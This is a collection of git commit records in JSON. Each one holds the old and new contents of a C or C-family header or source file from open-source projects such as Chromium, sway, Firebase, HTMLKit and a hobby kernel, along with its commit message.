{"commit":"773c265c96b48b95e5e71ef3388611ffcf39fef8","old_file":"public\/platform\/WebBlobInfo.h","new_file":"public\/platform\/WebBlobInfo.h","old_contents":"","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WebBlobInfo_h\n#define WebBlobInfo_h\n\n#include \"WebCommon.h\"\n#include \"WebString.h\"\n\nnamespace blink {\n\nclass WebBlobInfo {\npublic:\n    WebBlobInfo()\n        : m_isFile(false)\n        , m_size(-1)\n        , m_lastModified(0)\n    {\n    }\n    WebBlobInfo(const WebString& uuid, const WebString& type, long long size)\n        : m_isFile(false)\n        , m_uuid(uuid)\n        , m_type(type)\n        , m_size(size)\n        , m_lastModified(0)\n    {\n    }\n    WebBlobInfo(const WebString& uuid, const WebString& filePath, const WebString& fileName, const WebString& type)\n        : m_isFile(true)\n        , m_uuid(uuid)\n        , m_type(type)\n        , m_size(-1)\n        , m_filePath(filePath)\n        , m_fileName(fileName)\n        , m_lastModified(0)\n    {\n    }\n    WebBlobInfo(const WebString& uuid, const WebString& filePath, const WebString& fileName, const WebString& type, double lastModified, long long size)\n        : m_isFile(true)\n        , m_uuid(uuid)\n        , m_type(type)\n        , m_size(size)\n        , m_filePath(filePath)\n        , m_fileName(fileName)\n        , m_lastModified(lastModified)\n    {\n    }\n    bool isFile() const\n    {\n        return m_isFile;\n    }\n    const WebString& uuid() const\n    {\n        return m_uuid;\n    }\n    const WebString& type() const\n    {\n        return m_type;\n    }\n    long long size() const\n    {\n        return m_size;\n    }\n    const WebString& filePath() const\n    {\n        return m_filePath;\n    }\n    const WebString& fileName() const\n    {\n        return m_fileName;\n    }\n    double lastModified() const\n    {\n        return m_lastModified;\n    }\n\nprivate:\n    bool m_isFile;\n    WebString m_uuid;\n    WebString m_type; \/\/ MIME type\n    long long m_size;\n    WebString m_filePath; \/\/ Only for File\n    WebString m_fileName; \/\/ Only for File\n    double m_lastModified; \/\/ Only for File\n};\n\n} \/\/ namespace blink\n\n#endif\n","subject":"Add two classes [as yet unused] needed for upcoming IDB Blob support.","message":"Add two classes [as yet unused] needed for upcoming IDB Blob support.\n\nBUG=108012\nR=cmumford,jsbell,abarth\n\nReview URL: https:\/\/codereview.chromium.org\/205413004\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@170686 bbb929c8-8fbe-4397-9dbb-9b2b20218538\n","lang":"C","license":"bsd-3-clause","repos":"primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs"}
{"commit":"28eb97299e564daee96d3af1f9130d6439f170f6","old_file":"include\/ipc.h","new_file":"include\/ipc.h","old_contents":"#ifndef _SWAY_IPC_H\n#define _SWAY_IPC_H\n\n#define event_mask(ev) (1 << (ev & 0x7F))\n\nenum ipc_command_type {\n\tIPC_COMMAND = 0,\n\tIPC_GET_WORKSPACES = 1,\n\tIPC_SUBSCRIBE = 2,\n\tIPC_GET_OUTPUTS = 3,\n\tIPC_GET_TREE = 4,\n\tIPC_GET_MARKS = 5,\n\tIPC_GET_BAR_CONFIG = 6,\n\tIPC_GET_VERSION = 7,\n\tIPC_GET_INPUTS = 8,\n\tIPC_GET_CLIPBOARD = 9,\n\tIPC_GET_SEATS = 10,\n\t\/\/ Events send from sway to clients. Events have the highest bits set.\n\tIPC_EVENT_WORKSPACE = ((1<<31) | 0),\n\tIPC_EVENT_OUTPUT = ((1<<31) | 1),\n\tIPC_EVENT_MODE = ((1<<31) | 2),\n\tIPC_EVENT_WINDOW = ((1<<31) | 3),\n\tIPC_EVENT_BARCONFIG_UPDATE = ((1<<31) | 4),\n\tIPC_EVENT_BINDING = ((1<<31) | 5),\n\tIPC_EVENT_MODIFIER = ((1<<31) | 6),\n\tIPC_EVENT_INPUT = ((1<<31) | 7),\n};\n\n#endif\n","new_contents":"#ifndef _SWAY_IPC_H\n#define _SWAY_IPC_H\n\n#define event_mask(ev) (1 << (ev & 0x7F))\n\nenum ipc_command_type {\n\t\/\/ i3 command types - see i3's I3_REPLY_TYPE constants\n\tIPC_COMMAND = 0,\n\tIPC_GET_WORKSPACES = 1,\n\tIPC_SUBSCRIBE = 2,\n\tIPC_GET_OUTPUTS = 3,\n\tIPC_GET_TREE = 4,\n\tIPC_GET_MARKS = 5,\n\tIPC_GET_BAR_CONFIG = 6,\n\tIPC_GET_VERSION = 7,\n\n\t\/\/ sway-specific command types\n\tIPC_GET_INPUTS = 100,\n\tIPC_GET_CLIPBOARD = 101,\n\tIPC_GET_SEATS = 102,\n\n\t\/\/ Events sent from sway to clients. Events have the highest bits set.\n\tIPC_EVENT_WORKSPACE = ((1<<31) | 0),\n\tIPC_EVENT_OUTPUT = ((1<<31) | 1),\n\tIPC_EVENT_MODE = ((1<<31) | 2),\n\tIPC_EVENT_WINDOW = ((1<<31) | 3),\n\tIPC_EVENT_BARCONFIG_UPDATE = ((1<<31) | 4),\n\tIPC_EVENT_BINDING = ((1<<31) | 5),\n\tIPC_EVENT_MODIFIER = ((1<<31) | 6),\n\tIPC_EVENT_INPUT = ((1<<31) | 7),\n};\n\n#endif\n","subject":"Fix conflicting IPC command type constants with i3's","message":"Fix conflicting IPC command type constants with i3's\n","lang":"C","license":"mit","repos":"1ace\/sway,ascent12\/sway,ascent12\/sway,taiyu-len\/sway,1ace\/sway,taiyu-len\/sway,1ace\/sway,taiyu-len\/sway,ascent12\/sway,SirCmpwn\/sway"}
{"commit":"58bb08f20b070180b9729f19ab5160867961ad33","old_file":"Example\/Tests\/TestModels\/FLXTestModels.h","new_file":"Example\/Tests\/TestModels\/FLXTestModels.h","old_contents":"\/\/\n\/\/  TETestModels.h\n\/\/  FLUX\n\/\/\n\/\/  Created by Alex Faizullov on 10\/28\/16.\n\/\/  Copyright © 2016 Alexey Fayzullov. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <FLUX\/FLXStore.h>\n\n#define te_defineStoreTestDouble(name) \\\n\\\n@interface name : FLXStore <NSObject *> \\\n\\\n@end \\\n\\\n@implementation name \\\n\\\n+ (id)defaultState { return [NSObject new]; } \\\n\\\n@end \\\n\\\n\nte_defineStoreTestDouble(FLXFakeStore)\nte_defineStoreTestDouble(FLXTestStore)\n","new_contents":"\/\/\n\/\/  TETestModels.h\n\/\/  FLUX\n\/\/\n\/\/  Created by Alex Faizullov on 10\/28\/16.\n\/\/  Copyright © 2016 Alexey Fayzullov. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <FLUX\/FLXStore.h>\n\n#define flx_defineStoreTestDouble(name) \\\n\\\n@interface name : FLXStore <NSObject *> \\\n\\\n@end \\\n\\\n@implementation name \\\n\\\n+ (id)defaultState { return [NSObject new]; } \\\n\\\n@end \\\n\\\n\nflx_defineStoreTestDouble(FLXFakeStore)\nflx_defineStoreTestDouble(FLXTestStore)\n","subject":"Change test model define prefix","message":"Change test model define prefix\n","lang":"C","license":"mit","repos":"techery\/FLUX"}
{"commit":"21abbc66f6f0575e910ff19ea782662ab52780d8","old_file":"installations\/src\/installations_internal.h","new_file":"installations\/src\/installations_internal.h","old_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef FIREBASE_FIS_CLIENT_CPP_SRC_INSTALLATIONS_INTERNAL_H_\n#define FIREBASE_FIS_CLIENT_CPP_SRC_INSTALLATIONS_INTERNAL_H_\n\n\/\/ InstallationsInternal is defined in these 2 files, one implementation for\n\/\/ each OS.\n#if FIREBASE_PLATFORM_ANDROID || FIREBASE_ANDROID_FOR_DESKTOP\n#include \"installations\/src\/android\/installations_android.h\"\n#elif FIREBASE_PLATFORM_IOS\n#include \"installations\/src\/ios\/installations_ios.h\"\n#else\n#include \"installations\/src\/stub\/installations_stub.h\"\n#endif  \/\/ FIREBASE_PLATFORM_ANDROID, FIREBASE_PLATFORM_IOS\n\n#endif  \/\/ FIREBASE_FIS_CLIENT_CPP_SRC_INSTALLATIONS_INTERNAL_H_\n","new_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef FIREBASE_FIS_CLIENT_CPP_SRC_INSTALLATIONS_INTERNAL_H_\n#define FIREBASE_FIS_CLIENT_CPP_SRC_INSTALLATIONS_INTERNAL_H_\n\n#include \"app\/src\/include\/firebase\/internal\/platform.h\"\n\n\/\/ InstallationsInternal is defined in these 2 files, one implementation for\n\/\/ each OS.\n#if FIREBASE_PLATFORM_ANDROID || FIREBASE_ANDROID_FOR_DESKTOP\n#include \"installations\/src\/android\/installations_android.h\"\n#elif FIREBASE_PLATFORM_IOS\n#include \"installations\/src\/ios\/installations_ios.h\"\n#else\n#include \"installations\/src\/stub\/installations_stub.h\"\n#endif  \/\/ FIREBASE_PLATFORM_ANDROID, FIREBASE_PLATFORM_IOS\n\n#endif  \/\/ FIREBASE_FIS_CLIENT_CPP_SRC_INSTALLATIONS_INTERNAL_H_\n","subject":"Add platform include to installations header","message":"Add platform include to installations header\n\nThe Installations header uses the platform information to include the correct sub header, so it needs to include the platform header itself.\n","lang":"C","license":"apache-2.0","repos":"firebase\/firebase-cpp-sdk,firebase\/firebase-cpp-sdk,firebase\/firebase-cpp-sdk,firebase\/firebase-cpp-sdk,firebase\/firebase-cpp-sdk,firebase\/firebase-cpp-sdk,firebase\/firebase-cpp-sdk,firebase\/firebase-cpp-sdk"}
{"commit":"eb97ff0f6d9229d940db0048e486949eaa3383b0","old_file":"SudokuStart01\/Sudoku9by9SolverAnalyzer.h","new_file":"SudokuStart01\/Sudoku9by9SolverAnalyzer.h","old_contents":"\/\/\n\/\/\tSudoku 9by9 Solver and Analyzer\n\/\/\n\n#include \"Sudoku9by9Board.h\"\n\nclass Sudoku9by9SolverAnalyzer\n{\nprivate:\n\tSudoku9by9Board *board_ptr;\n\tint number_of_solutions;\npublic:\n\tSudoku9by9SolverAnalyzer();\n\tSudoku9by9SolverAnalyzer(Sudoku9by9Board *board_ptr);\n\tbool NextTryOrBackTrack(int i, int j, bool backtrack);\n\tvoid Solve(void);\n\tbool Cell_Conflict_Check(int p, int i, int j);\n\tint get_number_of_solutions(void);\n\t~Sudoku9by9SolverAnalyzer();\n};","new_contents":"\/\/\n\/\/\tSudoku 9by9 Solver and Analyzer\n\/\/\n\n#include \"Sudoku9by9PuzzleBoard.h\"\n\nclass Sudoku9by9SolverAnalyzer\n{\nprivate:\n\tSudoku9by9Board *board_ptr;\n\tint number_of_solutions;\npublic:\n\tSudoku9by9SolverAnalyzer();\n\tSudoku9by9SolverAnalyzer(Sudoku9by9Board *board_ptr);\n\tbool NextTryOrBackTrack(int i, int j, bool backtrack);\n\tvoid Solve(void);\n\tbool Cell_Conflict_Check(int p, int i, int j);\n\tint get_number_of_solutions(void);\n\t~Sudoku9by9SolverAnalyzer();\n};","subject":"Fix Puzzle board .h file reference","message":"Fix Puzzle board .h file reference\n","lang":"C","license":"mit","repos":"gitguy101\/SudokuStartxx"}
{"commit":"470b9b8d3739be4b846a08691e4ff7a981106590","old_file":"HTMLKit\/HTMLElement.h","new_file":"HTMLKit\/HTMLElement.h","old_contents":"\/\/\n\/\/  HTMLElement.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 05\/10\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"HTMLNamespaces.h\"\n#import \"HTMLNode.h\"\n\n@interface HTMLElement : HTMLNode\n\n@property (nonatomic, assign, readonly) HTMLNamespace htmlNamespace;\n\n@property (nonatomic, copy, readonly) NSString *tagName;\n\n@property (nonatomic, strong) NSMutableDictionary *attributes;\n\n@property (nonatomic, copy)\tNSString *elementId;\n\n@property (nonatomic, copy)\tNSString *className;\n\n- (instancetype)initWithTagName:(NSString *)tagName;\n- (instancetype)initWithTagName:(NSString *)tagName attributes:(NSDictionary *)attributes;\n- (instancetype)initWithTagName:(NSString *)tagName attributes:(NSDictionary *)attributes namespace:(HTMLNamespace)htmlNamespace;\n\n- (BOOL)hasAttribute:(NSString *)name;\n- (NSString *)objectForKeyedSubscript:(NSString *)name;\n- (void)setObject:(NSString *)value forKeyedSubscript:(NSString *)attribute;\n- (void)removeAttribute:(NSString *)name;\n\n@end\n","new_contents":"\/\/\n\/\/  HTMLElement.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 05\/10\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"HTMLNamespaces.h\"\n#import \"HTMLNode.h\"\n\n@interface HTMLElement : HTMLNode\n\n@property (nonatomic, assign, readonly) HTMLNamespace htmlNamespace;\n\n@property (nonatomic, copy, readonly) NSString *tagName;\n\n@property (nonatomic, strong) NSMutableDictionary *attributes;\n\n@property (nonatomic, copy)\tNSString *elementId;\n\n@property (nonatomic, copy)\tNSString *className;\n\n- (instancetype)initWithTagName:(NSString *)tagName;\n- (instancetype)initWithTagName:(NSString *)tagName attributes:(NSDictionary *)attributes;\n- (instancetype)initWithTagName:(NSString *)tagName namespace:(HTMLNamespace)htmlNamespace attributes:(NSDictionary *)attributes;\n\n- (BOOL)hasAttribute:(NSString *)name;\n- (NSString *)objectForKeyedSubscript:(NSString *)name;\n- (void)setObject:(NSString *)value forKeyedSubscript:(NSString *)attribute;\n- (void)removeAttribute:(NSString *)name;\n\n@end\n","subject":"Change arguments order in HTML Element initializer for convenience","message":"Change arguments order in HTML Element initializer for convenience\n\nDictionary argument moved to last position.\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"ba44961e08720cd64a964d9b5d10fd64f8b6f5b3","old_file":"Include\/bltinmodule.h","new_file":"Include\/bltinmodule.h","old_contents":"\/***********************************************************\nCopyright 1991 by Stichting Mathematisch Centrum, Amsterdam, The\nNetherlands.\n\n                        All Rights Reserved\n\nPermission to use, copy, modify, and distribute this software and its \ndocumentation for any purpose and without fee is hereby granted, \nprovided that the above copyright notice appear in all copies and that\nboth that copyright notice and this permission notice appear in \nsupporting documentation, and that the names of Stichting Mathematisch\nCentrum or CWI not be used in advertising or publicity pertaining to\ndistribution of the software without specific, written prior permission.\n\nSTICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO\nTHIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND\nFITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE\nFOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT\nOF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n******************************************************************\/\n\n\/* Built-in module interface *\/\n\nextern object *getbuiltin PROTO((char *));\n","new_contents":"\/***********************************************************\nCopyright 1991 by Stichting Mathematisch Centrum, Amsterdam, The\nNetherlands.\n\n                        All Rights Reserved\n\nPermission to use, copy, modify, and distribute this software and its \ndocumentation for any purpose and without fee is hereby granted, \nprovided that the above copyright notice appear in all copies and that\nboth that copyright notice and this permission notice appear in \nsupporting documentation, and that the names of Stichting Mathematisch\nCentrum or CWI not be used in advertising or publicity pertaining to\ndistribution of the software without specific, written prior permission.\n\nSTICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO\nTHIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND\nFITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE\nFOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT\nOF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n******************************************************************\/\n\n\/* Built-in module interface *\/\n\nextern object *getbuiltin PROTO((object *));\n","subject":"Change getbuiltin interface to get the name as an object.","message":"Change getbuiltin interface to get the name as an object.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"793627ceb48f704bc97867b8c75af2e6f83bc07f","old_file":"types.h","new_file":"types.h","old_contents":"","new_contents":"#ifndef BFC_TYPES_H\n#define BFC_TYPES_H\n\n#ifndef __cplusplus\n# include <stdint.h>\n#else\n# include <cstdint>\n#endif\n\ntypedef bfc_cell uint8_t;\n\n#endif \/* !BFC_TYPES_H *\/\n","subject":"Add beginning of what will become files shared between runtime and compiler.","message":"Add beginning of what will become files shared between runtime and compiler.\n","lang":"C","license":"mit","repos":"bassettmb\/bfc,bassettmb\/bfc"}
{"commit":"a06c8b5a9e08ef2337216c294a6a14ca9579c762","old_file":"src\/Mapper.h","new_file":"src\/Mapper.h","old_contents":"#ifndef MAPPER_H\n#define MAPPER_H\n\n#include <cstdint>\n#include <vector>\n\n#include <CartMemory.h>\n#include <Mirroring.h>\n\nclass Mapper {\npublic:\n    Mapper(CartMemory mem) : cartMemory(mem) { init(); };\n    Mirroring getMirroring() { return cartMemory.mirroring; };\n    virtual void init() { };\n    virtual uint8_t readPrg(uint16_t addr) { };\n    virtual void writePrg(uint16_t addr, uint8_t value) { };\n    virtual uint8_t readChr(uint16_t addr) { };\n    virtual void writeChr(uint16_t addr, uint8_t value) { };\n\nprotected:\n    CartMemory cartMemory;\n};\n\n#endif\n","new_contents":"#ifndef MAPPER_H\n#define MAPPER_H\n\n#include <cstdint>\n#include <vector>\n\n#include <CartMemory.h>\n#include <Mirroring.h>\n\nclass Mapper {\npublic:\n    Mapper(CartMemory mem) : cartMemory(mem) { init(); };\n    Mirroring getMirroring() { return cartMemory.mirroring; };\n    virtual uint8_t readPrg(uint16_t addr) { };\n    virtual void writePrg(uint16_t addr, uint8_t value) { };\n    virtual uint8_t readChr(uint16_t addr) { };\n    virtual void writeChr(uint16_t addr, uint8_t value) { };\n\nprotected:\n    virtual void init() { };\n\n    CartMemory cartMemory;\n};\n\n#endif\n","subject":"Make mapper init function protected","message":"Make mapper init function protected\n","lang":"C","license":"mit","repos":"scottjcrouch\/ScootNES,scottjcrouch\/ScootNES,scottjcrouch\/ScootNES"}
{"commit":"39a69fb6c520d7f4e272610a2d13795eb75dd1f1","old_file":"src\/string.c","new_file":"src\/string.c","old_contents":"#include <stddef.h>\n\nvoid* memcpy(void* restrict destination, const void* restrict source, size_t length)\n{\n    char* restrict dst = destination;\n    const char* restrict src = source;\n\n    \/* I know this is naive, but compiler will optimized this because we have restrict. *\/\n    for (; length; --length)\n    {\n        *dst = *src;\n        ++dst;\n        ++src;\n    }\n\n    return destination;\n}\n","new_contents":"#include <stddef.h>\n\nvoid* memcpy(void* restrict destination, const void* restrict source, size_t length)\n{\n    char* restrict dst = destination;\n    const char* restrict src = source;\n\n    \/* I know this is naive, but compiler will optimized this because we have restrict. *\/\n    for (; length; --length)\n        *dst++ = *src++;\n\n    return destination;\n}\n","subject":"Simplify loop body of memcpy","message":"Simplify loop body of memcpy\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"01145fa196b4158507dfcd7405026c2d51551c69","old_file":"src\/modules\/fs\/methods\/access.c","new_file":"src\/modules\/fs\/methods\/access.c","old_contents":"#include \"mininode.h\"\n#include <unistd.h>\n#include <fcntl.h>\n\nduk_ret_t mn_bi_fs_access(duk_context *ctx) {\n\tconst int nargs = duk_get_top(ctx);\n\tconst char *path = NULL;\n\tuv_fs_t *req = NULL;\n\tint mode = 0;\n\n\tif (nargs == 3) {\n\t\tmode = duk_require_int(ctx, -2);\n\t\tpath = duk_require_string(ctx, -3);\n\t} else {\n\t\tmode = F_OK;\n\t\tpath = duk_require_string(ctx, -2);\n\t}\n\t\n\treq = duk_push_fixed_buffer(ctx, sizeof(*req));\n\treq->data = mn_setup_req(ctx, -2);\n\tuv_fs_access(mn_loop, req, path, mode, mn_fs_cb);\n\n\tif (req->result != 0) { \n\t\tmn_push_error_result(ctx, req);\n\t\tduk_throw(ctx);\n\t\treturn 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n","new_contents":"#include \"mininode.h\"\n#include <unistd.h>\n#include <fcntl.h>\n\nduk_ret_t mn_bi_fs_access(duk_context *ctx) {\n\tconst int nargs = duk_get_top(ctx);\n\tconst char *path = NULL;\n\tuv_fs_t *req = NULL;\n\tint mode = 0;\n\n\tif (nargs == 3) {\n\t\tmode = duk_require_int(ctx, -2);\n\t\tpath = duk_require_string(ctx, -3);\n\t} else if (nargs == 2){\n\t\tmode = F_OK;\n\t\tpath = duk_require_string(ctx, -2);\n\t} else if (nargs < 2) {\n\t\tduk_pop_n(ctx, nargs);\n\t\tduk_push_error_object(\n\t\t\tctx,\n\t\t\tDUK_ERR_TYPE_ERROR,\n\t\t\t\"invalid arguments\"\n\t\t);\n\t\tduk_push_string(ctx, \"src\/modules\/fs\/methods\/access.c\");\n\t\tduk_put_prop_string(ctx, -2, \"fileName\");\n\t\tduk_push_int(ctx, 17);\n\t\tduk_put_prop_string(ctx, -2, \"lineNumber\");\n\t\tduk_throw(ctx);\n\t\treturn 1;\n\t}\n\n\treq = duk_push_fixed_buffer(ctx, sizeof(*req));\n\treq->data = mn_setup_req(ctx, -2);\n\tuv_fs_access(mn_loop, req, path, mode, mn_fs_cb);\n\n\tif (req->result != 0) { \n\t\tmn_push_error_result(ctx, req);\n\t\tduk_throw(ctx);\n\t\treturn 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n","subject":"Add fileName and lineNumber properties to Error","message":"Add fileName and lineNumber properties to Error\n","lang":"C","license":"mit","repos":"hypoalex\/mininode,hypoalex\/mininode,hypoalex\/mininode"}
{"commit":"f743a0c0d7c8d67fd5a3263deade3525ce7a0441","old_file":"src\/MotorShield.h","new_file":"src\/MotorShield.h","old_contents":"#include <Arduino.h>\n\nclass MotorShield\n{\npublic:\n    MotorShield(uint8_t leftSpeedPin, uint8_t leftDirPin,\n                uint8_t rightSpeedPin, uint8_t rightDirPin);\n    void init();\n    void forward();\n    void backward();\n    void stop();\n    void fullSpeed();\n    void stopLeft();\n    void stopRight();\n    uint8_t getMaxSpeed();\n    uint8_t getMinSpeed();\n    uint8_t getLeftSpeedPin();\n    uint8_t getLeftDirPin();\n    uint8_t getRightSpeedPin();\n    uint8_t getRightDirPin();\n    uint8_t getLeftSpeed();\n    uint8_t getRightSpeed();\n    void setSpeed(uint8_t);\n    void setLeftSpeed(uint8_t);\n    void setRightSpeed(uint8_t);\nprivate:\n    uint8_t leftSpeedPin,\n            leftDirPin,\n            rightSpeedPin,\n            rightDirPin,\n            maxSpeed,\n            minSpeed,\n            leftSpeed,\n            rightSpeed;\n};\n","new_contents":"#include <Arduino.h>\n\nclass MotorShield\n{\npublic:\n    MotorShield(uint8_t leftSpeedPin, uint8_t leftDirPin,\n                uint8_t rightSpeedPin, uint8_t rightDirPin);\n\n    \/\/ Initialization method. Must be called in Arduino's setup() function.\n    void init();\n\n    \/\/ Makes left and right motors go in the forward direction.\n    void forward();\n\n    \/\/ Makes left and right motors go in the backward direction.\n    void backward();\n\n    \/\/ Stops both left and right motors.\n    void stop();\n\n    \/\/ Puts both left and right motors at the maximum speed.\n    void fullSpeed();\n\n    \/\/ Stops left motor.\n    void stopLeft();\n\n    \/\/ Stops right motor.\n    void stopRight();\n\n    \/\/ Returns the maximum allowed speed.\n    uint8_t getMaxSpeed();\n\n    \/\/ Returns the minimum allowed speed.\n    uint8_t getMinSpeed();\n\n    \/\/ Returns the pin used to control left motor speed.\n    uint8_t getLeftSpeedPin();\n\n    \/\/ Returns the pin used to control left motor direction.\n    uint8_t getLeftDirPin();\n\n    \/\/ Returns the pin used to control right motor speed.\n    uint8_t getRightSpeedPin();\n\n    \/\/ Returns the pin used to control right motor direction.\n    uint8_t getRightDirPin();\n\n    \/\/ Returns the current speed of the left motor.\n    uint8_t getLeftSpeed();\n\n    \/\/ Returns the current speed of the right motor.\n    uint8_t getRightSpeed();\n\n    \/\/ Sets the speed of both left and right motors.\n    void setSpeed(uint8_t);\n\n    \/\/ Sets the speed of the left motor.\n    void setLeftSpeed(uint8_t);\n\n    \/\/ Sets the speed of the right motor.\n    void setRightSpeed(uint8_t);\nprivate:\n    uint8_t leftSpeedPin,\n            leftDirPin,\n            rightSpeedPin,\n            rightDirPin,\n            maxSpeed,\n            minSpeed,\n            leftSpeed,\n            rightSpeed;\n};\n","subject":"Include some comments about each method","message":"Include some comments about each method\n","lang":"C","license":"mit","repos":"lenon\/arduino-motorshield"}
{"commit":"f31b643032266e29cbd1764abc85ee4619ea5b5d","old_file":"kernel\/core\/main.c","new_file":"kernel\/core\/main.c","old_contents":"#include <truth\/panic.h>\n#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n#include <truth\/slab.h>\n#include <truth\/heap.h>\n#include <truth\/physical_allocator.h>\n\nstring Logo = str(\"\\n\"\n                  \"            _.-.\\n\"\n                  \"        .-.  `) |  .-.\\n\"\n                  \"    _.'`. .~.\/  \\\\.~. .`'._\\n\"\n                  \" .-' .'.'.'.-|  |-.'.'.'. '-.\\n\"\n                  \"  `'`'`'`'`  \\\\  \/  `'`'`'`'`\\n\"\n                  \"             \/||\\\\\\n\"\n                  \"            \/\/||\\\\\\\\\\n\"\n                  \"\\n\"\n                  \"      The Kernel of Truth\\n\");\n\nvoid kernel_main(void *multiboot_tables) {\n    assert_ok(init_log(\"log\"));\n    log(Logo);\n    logf(\"\\tVersion %d.%d.%d\\n\\tCommit %s\\n\\t%s\\n\\tCPU Time %ld\\n\",\n         kernel_major, kernel_minor, kernel_patch, vcs_version,\n         project_website, cpu_time());\n    init_interrupts();\n    init_physical_allocator(multiboot_tables);\n    init_slab();\n    assert_ok(init_heap());\n    assert_ok(init_modules(multiboot_tables));\n    halt();\n}\n","new_contents":"#include <truth\/panic.h>\n#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n#include <truth\/slab.h>\n#include <truth\/heap.h>\n#include <truth\/physical_allocator.h>\n\nstring Logo = str(\"\\n\"\n                  \"            _.-.\\n\"\n                  \"        .-.  `) |  .-.\\n\"\n                  \"    _.'`. .~.\/  \\\\.~. .`'._\\n\"\n                  \" .-' .'.'.'.-|  |-.'.'.'. '-.\\n\"\n                  \"  `'`'`'`'`  \\\\  \/  `'`'`'`'`\\n\"\n                  \"             \/||\\\\\\n\"\n                  \"            \/\/||\\\\\\\\\\n\"\n                  \"\\n\"\n                  \"      The Kernel of Truth\\n\");\n\nvoid kernel_main(void *multiboot_tables) {\n    assert_ok(init_log(\"log\"));\n    log(Logo);\n    logf(\"\\tVersion %d.%d.%d\\n\\tCommit %s\\n\\t%s\\n\\tCPU Time %ld\\n\",\n         kernel_major, kernel_minor, kernel_patch, vcs_version,\n         project_website, cpu_time());\n    init_interrupts();\n    init_physical_allocator(multiboot_tables);\n    init_slab();\n    assert_ok(init_heap());\n    halt();\n}\n","subject":"Remove unimplemented line of code","message":"Remove unimplemented line of code\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"5124c5f903ca10366dcff8497a77eedc8dd30169","old_file":"app\/app_config.h","new_file":"app\/app_config.h","old_contents":"\/*\n * Application configuration\n *\/\n#pragma once\n\n#include <QtCore>\n\ntypedef struct\n{\n    QString         type;\n    quint64         frequency;\n    qint64          nco;\n    qint64          transverter;\n    unsigned int    rate;\n    unsigned int    decimation;\n    unsigned int    bandwidth;\n    int             freq_corr_ppb;\n} device_config_t;\n\ntypedef struct\n{\n\n} audio_config_t;\n\ntypedef struct\n{\n    unsigned int        version;\n    device_config_t     input;\n    audio_config_t      audio;\n} app_config_t;\n\n\/\/ error codes\n#define APP_CONFIG_OK           0\n#define APP_CONFIG_EINVAL       1   \/\/ invalid function paramter\n#define APP_CONFIG_EFILE        2   \/\/ error loading or saving file\n#define APP_CONFIG_EDATA        3   \/\/ data error (e.g. missing 